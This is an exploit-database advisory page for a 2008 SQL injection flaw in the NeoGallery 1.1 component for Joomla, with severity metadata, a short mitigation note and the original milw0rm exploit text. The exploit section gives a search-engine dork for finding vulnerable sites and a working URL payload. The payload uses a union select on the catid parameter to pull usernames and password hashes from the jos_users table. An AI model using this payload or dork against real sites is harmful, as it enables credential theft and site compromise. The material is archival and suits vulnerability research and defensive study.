Joomla SQL Injection (com_neogallery)

vendor:

NeoGallery

by:

S@BUN

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: NeoGallery

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:neoweb:neogallery

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Joomla SQL Injection (com_neogallery)

An attacker can exploit this vulnerability by sending a crafted HTTP request with malicious SQL statements to the vulnerable application. This can allow the attacker to gain access to the database and execute arbitrary SQL commands.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL statements.

Source

Exploit-DB raw data:

#########################################################################
#
#  joomla SQL Injection(com_neogallery)
#
#########################################################################
#
#  AUTHOR : S@BUN
#
#  HOME : http://www.milw0rm.com/author/1334
#
#  MAÄ°L :    www.milw0rm.com@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl:"com_neogallery"
#
##########################################################################
EXPLOIT :

index.php?option=com_neogallery&task=show&Itemid=5&catid=999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from%2F%2A%2A%2Fjos_users

#########################################################################
# S@BUN                    i AM NOT HACKER                         S@BUN
#########################################################################
# S@BUN                  http://www.milw0rm.com                    S@BUN
#########################################################################
#                           THANKS STROKE
#########################################################################

	<name>NeoGallery</name>
	<creationDate>Septembre 2006</creationDate>
	<author>Nicolas Cornet - Neoweb</author>
	<copyright>This component is released under the GNU/GPL License</copyright>
	<authorEmail>nicolas@neoweb.fr</authorEmail>

	<authorUrl>www.neoweb.fr</authorUrl>
	<version>1.1</version>
	<description><![CDATA[Ce composant vous permet d'afficher une galerie de photos, organisees en categories, sur votre site.<br />Realise par Nicolas Cornet - Neoweb.]]></description>

# milw0rm.com [2008-02-08]